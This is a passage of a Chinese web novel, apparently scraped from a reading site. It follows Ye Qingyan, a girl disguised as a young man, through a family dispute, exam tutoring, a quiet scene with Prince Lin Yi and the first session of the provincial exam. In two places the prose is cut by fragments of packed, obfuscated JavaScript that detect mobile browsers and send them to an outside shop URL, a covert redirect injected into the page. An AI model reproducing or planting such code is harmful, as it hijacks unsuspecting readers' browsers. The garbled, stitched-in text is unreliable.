欢喜往往只代表了雀跃,但温暖,却是更加平和,更加深远,更加悠长的一种感情,那是一种所想所愿与现实完美重合的欣慰。 “明天见。”沈昭突然也道,语气里充满了遗憾,微顿了顿,他又说道,“阿言你真得不再考虑考虑?说来咱们做兄弟这么多年,都没有抵足而眠过,连一起如厕都不曾有过!更别说比大小了!” 这是什么虎狼之词? 叶青言心下慌张,面上却是强自镇定,状似不在意说道:“……以后会有机会的,今日我便先回了。”说罢,头也不回的离开,可不能再待下去了,鬼知道淮之还会再说出什么话来。 看着叶青言匆匆离去的背影,沈昭莫名其妙:“阿言他跑啥?我还能吃了他不成?” 林翊瞟他一眼,也转身走了。 “……”沈昭左右看看,最后快步跟上林翊,“二表哥你等等我!” 叶青言这会儿还没有走远,听到沈昭的喊声,不由笑了起来。 叶青言离开皇宫时的心情不错。 一路上也始终保持着愉悦的心情。 但这一份好心情在她回到成国公府后,即刻消失无踪。 叶青言刚一踏进府门,守门的小厮就立马上前来报,说大夫人让她回来后即刻去一趟怡然居。 叶青言颔首表示知道,随即问道:“府里可是出了什么事。” 那小厮也是个机灵的,从接下这个活计开始,他便将事情的原委都打听清楚,以免大少爷问起,自己却一问三不知。 这时听了叶青言的问话,他当下便口齿清楚地将事情始末一一道来。 原是欢姐儿今日向老太太请安时,不慎打翻了茶盏,老太太言语间刺了几句,欢姐儿受不住老太太的嘲讽,便哭着跑回了自己的院子。 李氏得知后大发雷霆,她最是见不得欢姐儿被人欺负,尤其那个人还是叶老太太,这会让她想起自己曾经所遭过的那些罪。 李氏当下也顾不得其他,直接就带人去了宁辉堂讨要说法。 叶老太太自然不觉得自己有错。 一来二去,两人便起了冲突,最后还是二夫人和三夫人出面调和,才免去一场风波。 怡然居里。 叶青言撩开帘子还没来得及说话,眼前就冲来一道身影,还伴随着一阵委屈的哭声。 是叶青欢哭着朝她跑了过来。 “大哥!”叶青欢可怜兮兮地看着叶青言,两只眼睛红红的,显得十分可怜。 叶青言见状,抬手摸摸她的头发:“还觉得委屈呢?” 叶青欢闻言,眼眶更红:“大哥你都知道了。” 叶青言点头:“好了,不哭了。”她嗓音里自有一种令人安定的力量,叶青欢听着哭泣声渐缓。 “我才没有一直哭,我早就没哭了,就是看你回来,一时没有忍住……” 叶青言边拉着叶青欢往屋里走,边道:“我家小妹长大了,都不用兄长哄了。” 走到屋中,叶青言放开叶青欢,恭恭敬敬地向李氏行了一礼:“母亲。” 李氏“嗯”了一声,也不拐弯抹角,直接开口说出了自己的目的:“我不想再让欢姐儿去受那个老虔婆的磋磨,你想个法子,让你妹妹以后都不用过去那边请安。” “母亲,那边始终都是长辈,欢姐儿不去请安于理不合,传出去对她的名声不好。” “就是知晓传出去了对欢姐儿的名声不好,所以我才让你好好想个法子!”李氏拍着桌子厉声道。 叶青言默了默,道:“母亲息怒。” 李氏却是息怒不得,心头的火气一下重过一下。 叶老太太是长辈,因为这个原因,这么些年李氏对她多有忍让,旁的事情她都可以退让,唯独女儿的事情不能。 见母亲生气,欢姐儿忍不住又流起了眼泪。 听见抽泣声再次响起,李氏心疼得一颗心都扭在了一起,不住地抱着女儿,轻声细语地安慰。 叶青言看着这一幕,转头示意谭嬷嬷先替妹妹擦一擦眼泪,而后温声问道:“欢姐儿是怎么想的?你也不想再向祖母请安吗?” 叶清欢抽泣了两声,低声道:“哥哥,我不想,祖母她不喜欢我。” 话毕,叶清欢又往李氏的怀里钻了去。 李氏揽着她,轻拍其背,看向叶青言的眼睛格外认真:“你是兄长,这事儿你必须处理好,你妹妹跟你不一样,她成日待在后宅,面对很多事情,都没有反抗的能力。” 谭嬷嬷闻言一愣,下意识转头去看叶青言。 叶青言安静地站着,仿佛一切与她无关。 见人如此,谭嬷嬷眼睛一酸,眼泪差点落下来。 夫人此言极是不妥,可她无法苛责夫人,她知道夫人这是想起了曾经的自己,当年侯爷在外征战,夫人一个人待在内宅,府中掌权的又是老太太,夫人一个有孕的深宅妇人,过得十分艰难,若非有二太太和三太太私底下的接济,夫人都不一定能挺过孕期。 沉吟片刻,叶青言闭了闭眼睛,嗓音极淡地开口道:“好,我明白了,这事我会处理。” 榻上的母女二人闻言,纷纷看了过来。 叶青言温和地看着叶清欢,说:“小妹今日受惊了,早些休息,不然明天眼睛肿了可就不漂亮了。” “哥哥!”叶清欢止啼为笑。 叶青言又温声安慰了叶清欢几句,这才告辞离开。 看着叶青言离开的背影,李氏心中不觉泛起一丝难言的疲惫来。 等叶青言回到穿云院,已是夜半时分。 因着明日还要早起上学,叶青言匆匆洗漱一番,便躺下睡了,她今夜难得的没有温书。 …… 清晨的穿云院非常安静。 哑婆婆早早就起了来,此时正拿着扫帚清扫昨天夜里掉下的落叶。 昨日晚间的风有点大,将庭院枫杨树上的黄叶吹得七零八落。 落叶漂浮,扫帚与地面接触时的摩擦声音不停地朝四方散去。 叶青言睁着眼睛,看着幔帐顶上那些复杂繁琐的花纹,不知在想些什么。 今早还不到寅正她便睁眼醒了过来,这对叶青言来说是非常少有的事情,她的作息一向规律,每日人定时入睡,破晓时醒来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995142|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这样的作息规律已然深入她的骨髓,变成了某种本能。 可今日的她,却在既定的时间之前睁开了双眼,这已然十分罕见。醒来后的她,依旧躺着,没有马上起床洗漱,这则更是少有。 赖床这种事情,对普通的年轻人来说是极致的享受,可对叶青言而言,这样的行为毫无疑问是浪费时间,浪费时间等同浪费生命,是极不负责的行为,会让她生出极大的罪恶感来。 叶青言之所以早早醒来,是因为不适应,甚至有些隐隐的不安。 她没有马上起床,是因为她在考虑事情。 因为昨夜没有温书就睡下,所以她不适应。因为知道这样不好,是不对的,所以她在想解决的方法,故而迟迟没有起床。 叶青言知道自己这样绷得太紧,也明白将自己逼得太紧不是什么好事,可严格要求自己,已然成了她的一种习惯。 从她记事时起,她就必须花费更多的时间来提高自己,她不能让自己沦为弱者,她必须一直优秀,所以她苦读不辍,严阵以待,力求自己每时每刻都能处在最好的状态,不漏一丝破绽。 因为身上藏着秘密,叶青言的每一天都过的谨小慎微,长此以往,她开始习惯了谨小慎微的生活。 叶青言闭了闭眼,脑中那个因贺渊而起的,想要出去走走的念头,在这一瞬间突然又变得迫切了起来。 她或许真得需要出去走走,多多去看看外面的世界。 叶青言在床上躺了很久,直到望舒过来敲门,她才终于从床上坐起,一如往常地洗漱、锻炼、用膳,然后进宫。 南苑学宫。 开堂授课前,叶青言被谢夫子身边的一名侍童叫了出去。 那侍童请她过去谢夫子的书房,说夫子寻她问话。 叶青言便跟着侍童去了学宫后院。 后院是陛下特别安排给夫子们临时休息的地方,曲径通幽,绿植成荫,很是清静。 叶青言甫一走进书房,就看到谢夫子背着手,仰着头,定定望着墙壁上挂着的《庐山会图》出神,他一动不动,思绪仿若也飘入了那片苍山石岭当中,久久不能自拔。 叶青言静静站着,没有出声。过了半晌,见谢夫子回神,才作揖道:“夫子,您找我。” 谢夫子将目光从画像上抽离,转向叶青言,开门见山问道:“这幅《庐山会图》我记得一直收藏在一位逸士手中,那人隐居山林,脾气古怪,你是如何寻到的他,又是如何得到的此画?” 关于荀敏道人的事迹,谢夫子早有耳闻,此人不畏强权,不图名利,要想从这样一位隐世高人手中得到画作,绝非易事,故此,谢夫子寻来了叶青言,打算问个分明。 叶青言闻言答道:“对方之所以赠画,原因不在我,而在夫子您。” 谢夫子诧异。 叶青言斟酌了下语言,而后将此次求画的过程细细说给谢夫子听,尤其是林翊在其中的功劳。 最后,叶青言道:“前期查探荀敏道人踪迹的人是二殿下,而对方之所以赠画是因夫子您所表现出的诚心,我在中间,不过就是费了些腿足之力。” 叶青言讲述的时候,谢夫子一直静静地看着她,她的眉眼是少年的眉眼,清稚得仿佛雨前的茶园,但她的神情,却镇定平静的完全不似一个少年人。 谢夫子一直很欣赏叶青言的沉稳,可看着此时的叶青言,谢夫子不觉生出了些许惘然。 “若非你真诚以待,对方又怎么会相信我一个连面也没有见过之人所表现的诚心?”谢夫子摇头说道,微顿了顿,他又道,“思砚,你心思缜密,比之同龄人,要更加通透早慧,作得文章亦是如此。” 谢夫子说着,抬手在叶青言的肩上拍了一拍,语重心长再道:“可每次看你的文章,为师总是感到惶惶,不知你这样成熟早慧,究竟是好是坏,是喜是忧。” 何止是谢夫子惶惶,叶青言听罢此言,也很是惶惶,心想夫子的眼光果真犀利毒辣,她未曾在平常生活中露出什么马脚,却叫夫子从文章上看出了一二。 想了想,叶青言道:“父亲早逝,我只有如此才能护住母亲和妹妹。” 她只能将一切归于家境。 谢夫子闻言倒也认同,叹道:“你年纪不大,要操的心却是不少,所谓慧极必伤,如此劳心费神,于将来并无益处,你偶尔也还是要放松自己。” 叶青言点头,礼道:“学生明白,谢过夫子教诲。” 见人如此,谢夫子也不好多言,只能停下话题,转而继续望向了那幅画。 “你前些时日交来的文章,我都看过了,也做了批注,就在那儿,你拿回去再好生琢磨。” 叶青言闻言一喜,忙道:“多谢夫子。” 谢夫子摆了摆手:“课钟就要响了,你自去吧。” “学生告退。”叶青言拿上文章,躬身退出。 26. 临近乡试 随着谢夫子生辰日过去,南苑学宫的学习生活又恢复了以往的秩序。 薛越也在生辰宴过后的第五日重新回到学宫,只是左手小臂上还打着石膏,整个人的神情也极是不好,望向叶青言的眼眸更好似淬了毒般。 叶青言尽可能地避免与之再起冲突,秋闱将近,她不想再出任何意外。 此时已是七月下旬,而今年秋闱的时间就定在八月初十,满打满算也只有不到二十天的时间。 因着临近乡试,顺天府下辖地区的考生们开始不断地往京都城里汇聚,这不仅使得城内的客栈爆满,许多正在出租的民宅也将一个房间的价格从三两百文涨至四五百文。 还有更多家境不裕的秀才们则选择住在城外,打算开考前一天在赶路进城。但平常时候,他们也还是会进城看看,以便及时了解当下的情势,乡试不比童试,会更侧重时策一些,只是闭门苦读是万万不够的。 因而城内的书局、酒肆、茶楼等地到处都是学子,他们或意气风发,或踌躇志满,每个人都热烈地表达着自己的观点,神情之中挥斥方遒,自信张扬。 若是可以,谁都想在考试前先博个名头出来,如此,能中举当然最好,就是不能,起码也能名声在外,于前程有利。再说文人相轻,书生意气,碰到一块,不让他们说上几句也是不可能的。 所以这个时候的坊间,自然也没有什么“莫谈国事”的规矩,相反,各大酒楼、茶楼的老板们还会以此为卖点,专门辟出一块地方来让这些学子们辩论。 除了思想上的碰撞,秀才们讨论更多的还是对主副考官人选的推测。 朝廷派往各地主持乡试的主考官已于七月中旬出发前往考地,唯有顺天府及附近几个府区的主副考官还没有定下。无他,只因顺天府和周边的天津府、保定府等就在皇城周边,考官们无需赶路前往,所以为了避免有人动歪心思,主副考官一般都是开考前几日才会钦定。 考官迟迟未定,这导致坊间出现了很多传闻。 甚至还传出了据说是考题的玩意儿,只需五两银子便能到手,竟也有不少人花钱去买,简直匪夷所思…… 不过这些事情叶青言都不知情,她正在紧张的备考当中。 日子一日一日地往前挪。 叶青言将会下场参加今次乡试的消息也逐渐在学宫里传开。 应试在即,林翊便给叶青言放了假,让她不必每日都进来宫里,只需偶尔过来点个卯就成,余下的时间大可以自己在家温习。 叶青言没有拒绝,时间宝贵,她必须加紧温习。 当然,叶青言还是会每日进宫,两位夫子的教导点评对她很有用处。 除了读书,叶青言也没有耽误了身体锻炼。 乡试每三年一考,一连要考三场,每场三日,参试者要在小小的号舍里整整待上九日,秋日不是大寒就是大燥,没有一个良好的体魄,只怕也撑不过去。 时至八月。 顺天府及周边几个府区的主副考官才终于定了下来。 乡试虽不比会试,但考官与考生之间多多少少也占了点师徒情谊,因此主副考官的人选也是众人最关注的事情之一。 顺天府此次负责监考的正副考官分别是工部侍郎赵吉与顺天府尹张和。 两位都是通过科举上位的寒门学子,其中的张和更是名声赫赫。 张和,字翰兆,是嘉和五年,科举考试重启后的第三任探花郎,但让他名声迭起的,不是因为他的探花经历,而是丞相高旭曾招揽过他,却被他公然拒绝,他不屑逢迎氏族,更看不起高氏一派,原本是要被高旭踢到蛮荒之地外放的,却被皇帝陛下保了下来。但因他得罪了高旭,便只能在顺天府里做个推官,推官是个闲差,几乎没有升迁的可能,可张和凭借自己的能力,屡助顺天府缉破大案,生生让自己从一个不起眼的推官升迁至顺天府府尹,可谓传奇! 在得知此次负责监考的正副考官分别是赵吉和张和后,考生们激动了。 激动之余,又有些忐忑。 激动的是,两位考官都是通过科举上位的寒门学子,没有氏族力量插手,更能保证考试的公平性。忐忑的是,这两位大人都是第一次担任考官,没有过往的评卷记录可供参考。 主副考官人选宣布后,坊间关于这两位考官当年参加科举的卷子和他们所做的文章都被翻了出来,考生们人手一份,很多考生更是翻来覆去反复揣摩,力求能用最短的时间,摸清两位主副考官的文风喜好,以便能在考试的时候投机取巧。 这日午后。 天空阴沉沉的,没有一丝阳光,却又迟迟不见下雨,天气闷热得将近窒息。 但学宫后院书房里的指导仍在继续。 荀夫子的手指缓慢地落在红色的批注上,逐一讲解。 叶青言得了指点,记录笔记,然后继续。 时间,就在讲解与交谈中快速流逝。 …… 暮色来临,荀夫子终于停止了指点。 叶青言握笔的手也微有些酸,她放下狼毫,从旁边的茶壶里倒了杯茶,双手捧着,恭敬地递到荀夫子面前:“夫子请喝茶。” 荀夫子欣然受之,讲了这么多话,屋里又闷,他是真地觉得渴了。 随着时间地流逝,书房一角的冰盆早已融化,室内这会儿的温度很高。 荀夫子放下茶杯,转而拿出帕子去擦额头渗出的汗水,其间,他注意到——哪怕是在如此闷热的环境里,叶青言的衣领依然紧扣,衣着一丝不苟。 荀夫子对此相当感慨,不愧是谢老哥最看重的学生,果然严谨板正。 “你与我曾经的一名师弟很像。我指的是性情。” 这一次指导完叶青言,荀夫子并没有如往常那般直接让她离开,而是突然说了这样一句话。 叶青言诧异地看着荀夫子,想了想,说道:“还请夫子赐教。” 荀夫子闻言笑了:“你们还真是很像,若此时站在这里的是他,他也会说出与你同样的话。”顿了顿,荀夫子又道,“我说的那个人,是赵吉,赵敬亭。” 叶青言这下是真的惊了,不由问道:“兵部侍郎?” “不错,就是你们这次秋闱的主考官赵吉。” 叶青言仔细思索了好一会儿,这才想起荀夫子曾在骊山书院求过学,而赵吉也是出自骊山书院…… “秋闱本就偏重时策,赵敬亭又是个做实事的能臣,所以他对这方面会更加注重一些,虽说卷子交上去后会由十八房同考官进行评判,但主考官无疑有着至关重要的决定权,故而你做文章时不得不将他的风格也考虑在内,你若心心念着文章的好坏去下笔,便会失了先手,需得多多注意此点。” 叶青言认真地听着,不时点头示意。 “你的文章若能与大庆的诸多要事相结合,句句言之有物,而非苍白空洞,则更能得到赵敬亭的青睐,这也是你要特别注重的地方。” 叶青言想了想,道:“学生会适时向二殿下请教。” 荀夫子赞赏:“聪明。” 微顿了顿,荀夫子又说:“你尚且年少,也未曾游历各地,功夫皆在文内,却已有当下的笔力,这已然十分优秀,但秋闱也讲运势,所以还是需要多多注意,才能确保上榜无虞。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998098|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶青言颔首应道:“学生明白。” 荀夫子望着外面阴沉的天色沉吟了片刻,确认自己已无甚可教,便笑着道:“再过几日就是考试时间了,我们也没什么可以再教你的,接下来你在家好好温书即可。”荀夫子说罢,抬手拍了拍叶青言的肩膀,“不用过于紧张,以你的资质此次秋闱定能占上一席。” 荀夫子说的是“占上一席”,而非试上一试,这份信心,既是因为他对叶青言有信心,同时也是因为他对自己的指导,有足够的把握。 叶青言走出学宫,就看到了在外等候的张德顺公公。 见叶青言走出,张德顺笑着迎上前来,躬身行礼:“叶公子。” 叶青言颔首示意:“公公不必多礼。” 张德顺道:“殿下让我带您去一个地方,他在那儿等您。” 叶青言有些迟疑,这儿毕竟是皇宫,殿下又不在此,她一个‘外男’,实不好到处乱走,可犹豫了片刻,叶青言还是跟着去了。 秋闱之前,她不准备再进宫来,这事儿她得当面告知殿下。 张德顺带着叶青言绕过庆宁宫,来到殿宇东面的一棵大樟树下。 这棵樟树真的很大,郁郁葱葱,有十人合抱之宽。 张德顺把人带到,便躬身退了下去。 叶青言抬头仰望着大樟树,叶片在风中沙沙作响,向着天空延伸的树枝粗壮遒劲,她看到林翊坐在其中一条枝干上,正低着头,含笑看着自己。 叶青言也冲他一笑。 林翊朝叶青言伸出手,说:“阿言,来。” 叶青言很快地上了树,动作灵巧地完全不像第一次爬,她也确实不是第一次爬这棵树。 两人并肩坐在距离地面约莫十余丈的树干上,处在这个位置,视线可以放得很远,能清楚地看到远处的宫道,甚至隐隐还可以看到太极殿的轮廓。 晚风吹拂树梢,耳畔顿时传来一阵“沙沙沙”的连绵轻响。 两人都没有说话,就这么静静地坐在树上,静静地望着前方。 万籁俱寂,天地皆空,整个人间仿佛就只剩他们两人。 叶青言的心境,也在这样的静默中渐渐安宁下来,她不自觉地闭上了双眼。 她闭着眼睛的样子很可亲,可亲又可爱。 恰在这时,林翊收回了望向前方的目光,转而看向了叶青言。 他静静地看着她,眼神不觉变得深邃起来。 叶青言眯着眼睛,浑然不察。 林翊看着看着,突然抬起手,轻轻地落到她的脸上。 叶青言吃了一惊,猛地睁开眼睛,身体下意识往后躲去。 “小心!”林翊忙拉住她。 “我知道我们在树上的。”叶青言轻轻挣扎,很有些不自在地说道。 感受到对方的不安,林翊微不可察地抿了抿唇,探手又在刚刚触碰过的地方擦了两下,道:“你这儿,脏了。” 原来如此…… “谢谢您。”叶青言笑着说道,顿了顿,她又道,“秋闱之前我不打算再进宫了,接下来准备就在府里温习。” “夫子那边答应了?”听人提及秋闱,林翊稳了稳心神,问。 叶青言点头。 “那便好。”林翊说,“有任何需要都可遣人来告知我。” 叶青言再次点头:“好。” “阿言,我不是再客套。” “我知道的,殿下。” 很简单的对话,很令人温暖的信任,话毕,两人相视一笑。 有风盈绕枝叶之间,带动两人的衣摆发丝一齐轻飘飞扬。 27. 乡试开始 八月初十。 凌晨时分,天还未亮,贡院外的街道上便已聚集了数不清的考生,人头涌动,挤挤攘攘。 各路秀才自四面八方汇聚而来。 比起童试,乡试进场前的查验要严格细致很多,耗时也要更长一些。 因着与试的考生众多,查验任务繁重,所以考生们需要提早过来排队,等候点验官检查之后,方可入场。 曾经的科考,为了防止夹带,考生们入场之前需得解开衣服接受检查。 但七年前,嘉和帝重启科举时言:解衣检查有辱取士之体。 于是就停止了解衣这项措施,起先众人还有些疑惑,可无论是嘉和元年的第一场科举,还是其后为选拔人才特意放开时间限制,每两年举办一次的科举,嘉和帝都不曾改变这个决定,众人也便知晓了皇帝的决心。 衣服是不用解开了,但考场内的巡查士兵却增加了一倍不止,想要作弊,难如登天。 对此,大学士盛德安就有一句经典描述,曰:“诃察严细,如防盗贼。” 不用脱衣,对叶青言来说,无疑是件好事,她也是因为这项规定才决心通过科举入仕。 前方已经开始检查,叶青言背着自带的行李,安静地排在队伍里,并随着人流缓慢地向前。 她今日出门的早,所以排得比较靠前,没用多长时间,便走到了贡院大门外的那棵青树之下。 已是初秋时节,京都街道上的树木早就开始落叶,唯有这棵大树依旧青叶无数。森森绿意,在凌晨微寒的风里不停地摇摆。 叶青言抬起头,看着眼前巍峨的大树。 此时天光渐亮,然云雾微掩,遮着高处的树枝,竟是看不到树顶。 …… 队伍很快就排到了叶青言,她礼貌地递上考引和户籍证明,再将包袱也交给点验官检查。 点验官首先翻开户籍证明,看到上面的内容,他仿无察觉,眼角却不受控制地微微跳动了下。 点验官对叶青言的行李进行了极细致地查验,就连毛笔都要拿起来看看有没有可以扭开的旋盖,更别提被褥、袄子、食盒等其他物品了。 但每样物品检查过后,点验官都会将其恢复原样,在重新放回原位。 因着叶青言的一头青丝乌黑稠密,还被点验官要求解开发冠,检查发丝里是否藏有夹带。 待一切确认无误,点验官才将一块木牌连同行李一起交还给叶青言,衙役见状,方才放行让人进去。 顺利进入到贡院,叶青言对照木牌编号找到自己的号房,推门走进,身后立马传来“咔哒”一声响,是监考官把号房从外面锁上了,此举宣告着叶青言之后几日都只能拘在这间小小的号房里。 这是早有预料的事情,叶青言并不在意,她简单地查看了下号房,确认桌椅板凳都是结实的,这才把带来的包袱打开,将里面放着的被褥、袄子、防蚊香囊等物一一取出。 食盒叶青言倒是没有打开,她并不擅长厨艺,所以没带任何炊具进来,食盒里装得是望舒精心准备的吃食。 望舒按照食物的耐放时间将其分开一格格存放,每样食物都用油纸仔细地包好,以防串味。 望舒给带的食物也很有讲究。 头几个盒子里放的是糕点、酱肉、瓜果等物,在之后才是些耐存的干粮和肉脯。 秋日乡试,毫无疑问是一场硬仗。 要打赢这场硬仗,起码要吃饱喝足,如此才能有力气写卷子。 考生们一个接一个入场。 每个入场的考生所做的第一件事情都是查看号房,然后是整理自己带来的行李,毕竟他们要在这里住上几天。 待一切就绪,考生们的举动才开始出现分歧。 有的考生选择磨墨静心,有的则是闭眼养神,更有些人在东张西望。 叶青言一圈一圈地磨着墨,她看起来很平静,眼睛深处却隐隐闪着不安。 是了,无论叶青言再如何稳重成熟,她终究只是个未满十六岁的少年,面对这样的场面,心下难免还是有些紧张。 这个时候的紧张,倒不是什么坏事。 大事临头,适当的紧张,能使大脑更灵活,注意力更集中,从而大大增加答卷的效率。 不知过去了多长时间,天光渐渐亮起,砚台里的墨汁也慢慢变得浓稠,便在此时,一声清脆的钟鸣响起,紧接着传来的,是贡院大门被缓缓合上的声音。 入场检查已经完毕,这之后在赶来的考生将无缘本次乡试。 少顷,第二道钟声响起,十八名同考官鱼贯入场,分列书案之后,束手而立,案上摆着的一册册文函,都是未开封的考卷。 最后入场的,是两位主副考官——赵吉和张和,两人一前一后,走进考场。 赵吉没什么废话,只是循例说了几句场面话,便宣布发卷。 没过多久,考卷便分发完毕,随着第三道钟声响起,考生们终于可以开始考试。 叶青言紧张的心情也在拿到试题的那一瞬间达到沸点。 由于试题是密封的,到手之后,需得撕开封口才能看到里面的考题。 考生们纷纷抬手去撕封口,哗哗的纸声响起,汇在一处,仿佛一场大雨落下。 叶青言与其他的考生一样,撕开封口,摊平。 触眼所及,三张卷子上面端端正正地写了三道题。 第一题,君子不器。 第二题,致知在格物。 第三题,诚则明矣,明则诚矣。 此三题分别出自《论语》、《大学》以及《中庸》,即为乡试首场的三道四书制艺题。 叶青言看着宣纸上的考题,开始思索如何破题。 周遭不时传来纸卷的翻动声,以及笔在纸上行走的沙沙声,各种声响汇聚,恍如蚕食桑叶,贡院里仿佛瞬间多了很多棵桑树,养了很多只蚕…… 叶青言认真地思考着。 子曰:“君子不器。” 朱子亦有注曰:“器者,各适其用而不能相通。成德之士,体无不具,故用无不周,非特为一才一艺而已。” 君子为学而成德之人,当集道德仁义于一身,明达天道地道人性,通才达识,不只局限于某一方面。 有了思路,叶青言拿起笔,认真地在草稿纸上写了起来。 她的笔,在卷上未走龙蛇,只是认真地写着,一笔一画,认真到甚至有些古板,但她的神情已然彻底平静放松下来,仿佛只是在学宫的课堂里温书做笔记一般。 贡院内一片安静,只能听到翻阅试卷和书写的声音,当然偶尔也会听到那么一两声咳嗽。 时间很快就到了正午,考生们大多只吃几口干粮对付,鲜少有人生火做饭。 叶青言也只用了两块枣糕、几片酱肉外加一个黄桃和一杯水。 等到晚膳的时候,号房里生火做饭的考生渐渐多了起来,几缕炊烟慢慢飘起。 随着夜幕来临,巡逻的监考官们将各个号房屋檐上的灯笼点亮,号房里的考生们也点燃了桌上的油灯,高悬的一排排灯笼与油灯相映,屋内一时亮似白昼。 叶青言用过了晚膳,又开始奋笔疾书,一直到亥时末尾,才堪堪停笔休息。 入睡之前,她很有先见之明地往耳中塞了两团软布,果然一觉好眠到天明。 如此一连过去三日,乡试的第一场考试才终于结束。 酉时鸣钟,众考生闻声停笔,待考官们收卷封存,逐一填上编号,考生们才被允许离开贡院。 叶青言拿上食盒随着人流一道走出贡院,她看着有些疲惫,人也显得很没 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“我来接你。”林翊笑看着叶青言,他的双眸不知是因含笑的缘故,还是因被暮色所染,柔和得简直能让人心醉。 略顿了顿,林翊伸手扶住叶青言,道:“咱们先上马车再说,来,你慢一些。” 这儿确实不是说话的地方,叶青言不再迟疑,就着对方的搀扶上了马车。 上了马车,林翊给叶青言倒了杯安神茶递过去。 叶青言轻声言谢,接过茶,慢慢地喝了。 林翊的目光柔和依旧,他细细地看着叶青言,深深浅浅地将人注视了好几遍,却还是舍不得挪开目光。 一杯温茶下肚,叶青言的脸色稍微好了一些,见林翊一直看着自己,便笑着说道:“我没事,只是有些劳神,殿下不必忧心。” 林翊“嗯”了一声,略有些艰难地挪开了眼,问:“之后还有两场要考,你可还撑得住?” 叶青言点头:“我没问题的。” “那我就放心了。”话语落下,车厢内沉默了片刻,一会儿,林翊俯身将放在暗格里的几道吃食摆了出来。 一盘莲花酥、一碟酥酪、以及一小碗南瓜小米粥。 “你之后还有两场考试,此时不宜大补,免得脾胃不适,便先用些养胃的吃食垫垫肚子吧。”林翊说着,给叶青言递了一方打湿的帕子过去。 叶青言微怔了瞬,但还是接过帕子,仔细地擦了擦手。 “多谢殿下。” “你我之间,不必言谢。”林翊说道,想了想,又补充道,“只需考个好成绩出来便好。” 叶青言听罢笑了起来:“这压力有点大啊,但我会化压力为动力的。” 林翊闻言也笑了起来。 叶青言擦完手,拿起汤匙舀了一口南瓜小米粥喂进嘴里,粥里加了牛奶,吃着甜而不腻,奶香浓郁。 酥酪和莲花酥吃着也很不错。 将三道吃食一一用完,叶青言的胃暖暖的,困意渐渐上头。 林翊看她这副快要睁不开眼的模样,笑意不知何时又回到了唇角,他道:“你休息会儿,等到了国公府我叫你。” 叶青言勉力撑着精神,问:“天色不早了,您何时回宫?” 林翊拿过一条薄被,轻轻盖在叶青言身上,低声答道:“我明天送你去考试。” 送我? 叶青言想了想,有些不理解,她还想再说几句,无奈大脑提前进入了休眠状态,双眼一阖,立马就舒舒服服地睡了过去。 林翊低着头,安静地看着,待她入眠,又过了良久,才伸手拨了拨叶青言额前凌乱的发丝:“好好休息,阿言。” 28. 凌晨送考 天光渐暗,时光渐移,夜幕终于降临。 今夜月淡,所以显得群星格外明亮。 叶府的马车缓缓行在璀璨的星空之下,车轮辗过巷道里的青石板路,发出辘辘的声音。 马车载着车里的两人,一路平稳地向着成国公府驶去。 车厢里,林翊始终注视着叶青言。 叶青言睡得很沉,呼吸绵长深远,听着仿佛轻微的鼾声,她应是觉得渴了,不时就会伸出微湿的舌尖去舔干燥的嘴唇。 林翊见状,忙取出一块崭新的帕子打湿,小心翼翼地上前给叶青言湿润嘴唇。 刚开始做的时候,林翊没有半分绮念,可润着润着,他的视线就挪不开了,手上的动作也随之变慢了下来…… 车内空间狭小,而显得周遭的空气有些许滞闷。 林翊定定看着叶青言柔软的双唇,心里蓦地涌上一阵无措,随之又是一阵紧张,胸腔里那玩意儿更是好一阵没出息地胡乱扑通。 车外星月皎洁,车内光线朦胧,那些高高矮矮的光影随着起伏的车帘在车厢的四壁摇曳摆荡,把气氛渲染得旖旎无比。 林翊看着看着,身子下意识向前倾去,就在他的嘴唇即将碰到叶青言嘴唇的那一刹那,猛地回过神来,当下别开脸去,过了半晌才重新转回,然回转的视线不由自主又落到了叶青言已经变得湿润的双唇之上。 林翊静静望着叶青言恬静的睡颜,心下跳动的频率非但没有随着时间减缓,反而变得越来越快。 车里一片安静,夜风穿过帘子入窗,轻柔地从两人的面庞上拂过。 林翊做了好久的心理准备,最终还是没能下定趁人之危的决心,他发出一声叹息,转而在叶青言的眉心落下轻轻一吻。 可单是这样的一吻,已足够他回味许久。 车内仍旧一阵安静,夜风继续入窗。 睡着的叶青言突然不适地动了动脑袋,束起的发髻抵着身后的车壁,看着就很不舒服。 林翊见状,蹑手蹑脚地挪了过去,小心翼翼地将叶青言头上的发髻解开,再将她的脑袋摆到自己的肩膀上靠着。 这样,阿言能睡得舒服一些。 做完这一连串动作,林翊本就急促跳动的心脏更是疯狂地跃动起来。 马车继续前行,光影依旧沉浮。 林翊抬起一只手,虚虚遮在叶青言眼前,为她挡去所有恼人的光亮。 不知过了多长时间,林翊突然感到右臂有些异样,不由低头一看,发现阿言竟抱住了自己的手臂。 坐着睡觉总是不舒服的,可叶青言睡得很熟,甚至很香甜。 林翊看着对方完全舒展开来的眉眼,看着她眉眼间因为放松而展露无遗的稚意,笑了起来。 能够睡的如此之熟,自然是因为她很放松,她之所以如此放松,是因为她很信任自己。被另一个人全身心的信任,这种感觉非常好,尤其是对从小就处在尔虞我诈环境中的林翊来说。 …… 这一觉,叶青言没有睡太长时间,但却睡得非常好。 凌晨二时,她睁开了双眼,她不是自己醒的,而是被望舒给推醒的。 见四周一片昏暗,叶青言还有些没回过神来,但很快她就想起今日是乡试的第二场考试。 叶青言支着身子坐了起来,看到榻旁站着的望舒,哑着嗓子问道:“现在是什么时辰了?” 